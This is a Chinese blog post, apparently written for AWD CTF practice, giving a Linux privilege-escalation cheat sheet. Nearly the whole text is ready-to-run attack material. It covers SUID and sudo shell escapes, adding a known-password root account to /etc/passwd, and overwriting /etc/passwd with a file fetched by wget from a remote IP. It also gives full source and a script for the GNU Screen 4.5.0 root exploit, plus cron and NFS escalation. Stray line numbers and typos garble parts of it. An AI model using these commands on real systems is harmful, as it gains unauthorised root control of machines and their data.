LINUX提权

前言

上一次打AWD被锁权限了,估计是被打烂了然后对方提的权,这启发了我,我也来提提权限

以下内容都是来自下面的文章https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247484463&idx=1&sn=f1fd9b1db84657ecda05b186a8f7785f&chksm=9b39229eac4eab884bb8e8130423d895afc7b1ff336d6146a425b7087aa0faf9e0c806e09706&mpshare=1&scene=23&srcid=0410kOxtw1DLpOurcUy9co8Q&sharer_sharetime=1681100889288&sharer_shareid=5d46a70d7c2e5fe23fd7f12f781a2ad4#rd

suid提权

1
https://github.com/rebootuser/LinEnum    #检测环境
1
2
3
4
5
ls -al xxx  #查看权限
root@linux:# ls -al /bin/ping
-rwsr-xr-x #-rwsr-xr-x,其中有个s位,这就是suid,有s位在运行命令是就是root权限
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
1
2
3
4
列出该用户具有访问权限的SUID可执行文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null //常用
find / -user root -perm -4000 -exec ls -ldb {} ;
1
2
3
4
suid之find
touch 666
find ./ -name 666 -exec "whoami" \;
find / -name 666 -exec "/bin/sh" \;
1
2
3
4
suid之vim/vi
vim /etc/aaa
:set shell=/bin/sh #内容
:shell #退出时候的输入
1
2
suid之bash
bash -p
1
2
3
4
suid之nmap version:2.02-5.21
nmap -v //查看版本
nmap --interactive //进入交互模式
!sh #输入
1
2
3
suid之less/more
less /etc/passwd
!bin/sh #直接输入然后回车
1
2
3
4
不能反弹sehll的一些语言或命令
python -c "importos;os.system('/bin/bash') #python/perl/ruby/lua/php/etc
exec "/bin/bash";
apache2 -f /etc/shadow
1
2
3
suid之man
man passwd
!/bin/sh #输入后回车
1
2
suid之awk
awk 'BEGIN {system("/bin/sh")}'
1
2
3
suid之nano
nano /etc/passwd
hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash #输入,保存,用户hacker密码为hack123
1
2
suid之wget
wget http://192.168.56.1:8080/passwd -O /etc/passwd #http://192.168.56.1:8080/passwd写入/etc/passwd,同上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
suid之GNU Screen
searchsploit screen 4.5.0
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

下面存为libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF

#编译
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
#完成后删除.c的文件
rm -f /tmp/libhax.c

下面存为rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF

#编译
gcc -o /tmp/rootshell /tmp/rootshell.c
#删除
rm -f /tmp/rootshell.c

下面存入xxx.sh
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
最后一行加上:set ff=unix #:set ff=unix命令将原本的dos格式换行符变为unix格式
最后退出
将三个文件上传到根目录的tmp文件中
chmod 777 xxx.sh
./xxx.sh
1
2
3
4
5
6
7
8
9
suid之exim
exim是一款在Unix系统上使用的邮件服务
exim --version #查看版本
searchsploit exim 4 Privilege
searchsploit -m 46996.sh
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
vim 46996.sh
最后添加 :set ff=unix
在目标机下载运行

定时任务

1
2
3
4
5
6
Cron通常以root特权运行 如果我们可以成功修改cron中的任何脚本或二进制文件就可以使用root权限执行任意代码
https://github.com/DominicBreuker/pspy
上传到目标机器使用工具监听
chmod +x pspy64s
./pspy64
将反弹shell或者添加root用户写入定时任务的文件中,也可把/etc/passwd设为所有人可写
1
2
3
列出计划任务
ls -l /etc/cron*
cat /etc/crontab

sudo配置错误

1
2
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
查找一些配置
1
sudo -l  //查找当前用户root权限的指令
1
2
3
4
5
6
7
8
9
10
11
git
第一种:
sudo git help config
回车然后输入
!/bin/bash (这里bash也可以换成sh)
回车即可退出

第二种:
sudo git -p help
回车输入
!/bin/bash (这里bash也可以换成sh)
1
2
3
4
5
6
tee

使用tee命令创建一个用户uid=0的
sudo teeh -a /etc/passwd
demon::0:0:::/bin/bash
su demoon
1
2
3
4
5
6
写入/etc/passwd文件提权

openssl passwd -1 -salt admin 111111 #-1 的意思是使用md5加密算法 -salt 自动插入一个随机数作为文件内容加密
输出admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1
echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaa
最后把/tmp/aaa写入/etc/passwd即可
1
2
3
tmux

sudo tmux
1
2
3
4
ftp

sudo ftp
! /bin/bash
1
2
3
4
5
pip

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
1
2
3
4
5
apt

TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
1
2
3
zip

sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"
1
2
3
taskset

sudo taskset 1 /bin/sh -p
1
2
3
sed

sudo sed -n '1e exec sh 1>&0' /etc/passwd
1
2
3
4
5
6
scp

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
1
2
3
perl

sudo perl -e 'exec "/bin/bash";'
1
2
3
bash

sudo bash
1
2
3
env

sudo env /bin/bash
1
2
3
4
less

sudo less /etc/hosts
!bash
1
2
3
awk

sudo awk 'BEGIN {system("/bin/bash")}'
1
2
3
4
man

sudo man man
!bash
1
2
3
4
vi

sudo vi
:!bash
1
2
3
4
5
git

Sudo git -p help
!/bin/bash
输入sudo密码(当前用户的密码)

内核漏洞

先用漏洞检测工具检测一下存在哪些漏洞

1
2
3
4
5
https://github.com/mzet-/linux-exploit-suggester

将linux-exploit-suggester.sh下载到要检查的主机上,主要使用以下两条指令:
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

然后用searchsploit 工具找对应的exp ,poc或者它给出的链接也可以

NFS提权

1
2
3
4
5
6
7
sudo mkdir -p /tmp/data  #用于挂载的目录
sudo showmount -e 10.1.1.233 #显示对方共享目录 /home/bypass
sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data #将对方目录挂载到本地
cp /bin/bash /tmp/data/shell #上传
chmod u+s /tmp/data/shell #增加root执行权限
再到目标机器执行
./shell